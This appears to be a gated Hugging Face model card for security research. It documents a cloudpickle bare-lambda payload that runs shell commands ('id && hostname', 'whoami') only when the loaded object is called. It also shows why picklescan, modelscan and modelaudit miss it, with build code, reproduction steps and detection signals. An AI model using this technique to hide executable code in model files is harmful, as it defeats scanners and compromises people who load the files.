You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
pickle-bypass: cloudpickle bare-lambda RCE
Security Research β Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request β see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 5 | 1 | Partial (5C, cloudpickle helpers only) |
| picklescan 1.0.4 | 0 | 0 | Yes β 0 findings |
| modelscan | 0 | 0 | Yes β 0 findings |
Vulnerability
A cloudpickle-serialized Python lambda embeds arbitrary bytecode directly
inside a CodeType object. The dangerous logic (os.popen(...)) lives
entirely within the bytecode β 'os', 'popen', and the shell command
strings appear as co_consts / co_names arguments to the CodeType
constructor, not as GLOBAL opcodes.
Static scanners that inspect GLOBAL/STACK_GLOBAL opcode pairs see only
cloudpickle's own reconstruction helpers (_make_function, _builtin_type,
_function_setstate) and find no dangerous module references.
The dynamic sandbox reports clean because the payload is deferred:
pickle.loads() reconstructs the lambda object without calling it. No
dangerous syscalls occur during deserialization. The payload fires only
when downstream code invokes the callable β indistinguishable from a
normal model inference call.
Proof of Concept
malicious_model.pkl is the exploit payload. poc.py builds and tests it.
How the payload was built
import cloudpickle
# Self-contained lambda β no captured variables.
# 'os', 'popen' stay in CodeType co_consts/co_names, not GLOBAL opcodes.
fn = lambda x: (
open("/tmp/rce_output.txt", "w").write(
__import__("os").popen("id && hostname").read()
),
x,
)[1]
payload = cloudpickle.dumps(fn)
Conditions required to trigger
- Victim loads the file via
pickle.loads()β no scanner flags it - Victim calls
fn(input)β standard callable invocation - Shell commands execute;
fnreturnsinputunchanged (passthrough)
The lambda looks like a normal data transform to any caller. The RCE is invisible in the return value and produces no output.
Key difference from cloudpickle MLflow techniques
Techniques that wrap payloads in MLflow PythonModel classes require the
victim to call model.predict(df) β attack surface is limited to MLflow
workflows. A bare cloudpickle lambda triggers on any callable invocation:
sklearn pipelines, PyTorch hooks, custom inference wrappers, map(fn, data),
hyperparameter search callbacks, etc.
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-cloudpickle-lambda-rce
cd pickle-bypass-cloudpickle-lambda-rce
# 2. Install requirements
pip install cloudpickle modelaudit picklescan modelscan
# 3. Scan β observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm deferred payload
python3 poc.py
Full Technical Writeup
Technique 14: RCE via cloudpickle-serialized bare lambda
| Scanner | Score |
|---|---|
| modelaudit | 5C, 1W (cloudpickle helpers flagged as always-dangerous) |
| picklescan | 0 findings |
| modelscan | 0 findings |
What it does
A victim loads what appears to be a model artifact and calls it as a
callable. The call executes an arbitrary shell command (whoami) on the
host. The victim receives the return value of the lambda and has no
indication a shell command ran.
# Victim code
fn = pickle.loads(open("cloudpickle.pkl", "rb").read())
result = fn(some_input) # β os.system("whoami") runs here
How it works
cloudpickle embeds lambda bytecode directly
Standard pickle stores a callable as a GLOBAL opcode pointing to its
module and name. cloudpickle instead serializes the lambda definition
by reconstructing a raw CodeType object from its constituent fields
(bytecode, co_consts, co_names, etc.) and wrapping it with _make_function:
cloudpickle.cloudpickle._make_function β wraps CodeType into a callable
cloudpickle.cloudpickle._builtin_type β resolves types.CodeType
cloudpickle.cloudpickle._function_setstate β sets __globals__, __name__, etc.
The payload β __import__("os").system("whoami") β lives inside the
bytecode passed to CodeType(argcount, ..., codestring, ...). At the
pickle-opcode level it is opaque bytes: a SHORT_BINBYTES argument.
Why picklescan and modelscan miss it
picklescan and modelscan inspect GLOBAL/STACK_GLOBAL opcode pairs and
check (module, attr) against a deny list. In this pickle:
osandsystemappear asSHORT_BINUNICODEstring arguments to theCodeTypeconstructor β not asGLOBALopcodes. They are co_consts / co_names inside the bytecode blob.__import__is called via the bytecodeLOAD_BUILTIN/CALLinstruction sequence β never emitted as a GLOBAL opcode.
picklescan and modelscan see zero dangerous module references.
Why modelaudit flags it (but still misses the actual payload)
modelaudit's "always-dangerous" rules flag the cloudpickle reconstruction
helpers themselves (_make_function, _builtin_type, _function_setstate)
as CRITICAL, producing 5C 1W. However modelaudit cannot see inside the
CodeType bytecode blob and does not know the payload is os.system(...).
A defender relying solely on the CRITICAL verdict might dismiss it as a
cloudpickle false positive β the same helpers appear in legitimate
cloudpickle-serialized ML models.
Why dynamic sandboxes miss it (baseline)
A dynamic sandbox calls pickle.loads() and monitors syscalls. During
pickle.loads():
_builtin_type("CodeType")resolvestypes.CodeTypeβ no executionCodeType(...)is called with the bytecode arguments β no execution_make_function(code, ...)wraps it into a Python function β no execution_function_setstate(fn, state)sets__globals__etc. β no execution- The final REDUCE calls the function with
('')β this IS a call, but the serialized lambda in the wild takesxas an argument and theREDUCEat offset 647 calls the outer_make_function, not the payload
The sandbox exits with zero dangerous syscalls. The payload fires only when a downstream caller invokes the returned lambda.
Difference from techniques 12 and 13
Techniques 12/13 wrap the payload in an MLflow PythonModel class.
The victim must call model.predict(df) to trigger the payload β the
attack surface is limited to MLflow workflows.
This technique uses a bare lambda. Any code that treats the loaded
object as a callable will trigger it: sklearn pipelines, PyTorch hooks,
custom inference wrappers, map(fn, data) calls, etc. The attack surface
is the entire Python callable protocol.
The specific payload (wild model)
lambda x: __import__("os").system("whoami")
co_consts:(None, 'os', 'whoami')co_names:('__import__', 'system')
from a pickle scanner project that was accidentally committed to HuggingFace.
Detection
The correct signals for this pattern, in priority order:
post_load_invocations[](dynamic sandbox): calling the deserialized lambda in a network/exec-blocked sandbox produces anexecve()syscall β captured as CRITICAL. This is the definitive signal.pickle_strings[](dynamic sandbox output):'os','system', and'whoami'appear asSHORT_BINUNICODEstrings in the pickle stream (as arguments to the CodeType constructor). A scanner aware of these string positions can flag dangerous built-in names here.Decompiled source (pickle2py_full): the decompiled lambda body shows
__import__('os').system(...)directly.modelaudit flags the cloudpickle helpers as CRITICAL (5C 1W) but cannot distinguish this from a legitimate cloudpickle model β the same helpers appear in benign cloudpickle artifacts. The verdict requires corroboration from signals 1β3 to avoid false positives.
Reproduction
python wild_exploits/14_cloudpickle_lambda_rce/poc.py
Expected output:
Pickle size: ~693 bytes (wild file: 650 bytes)
Scanner: 5 CRITICAL, 1 WARNING
pickle.loads() complete β type: <class 'function'>
(payload NOT called β deferred until invocation)
=== Canary payload (verifies execution) ===
pickle.loads() complete β canary exists: False
Payload is deferred: lambda reconstructed but not called
Calling fn('test') to simulate downstream usage...
BYPASS confirmed β rce_pwned:<your-username>
General Analysis β Security Research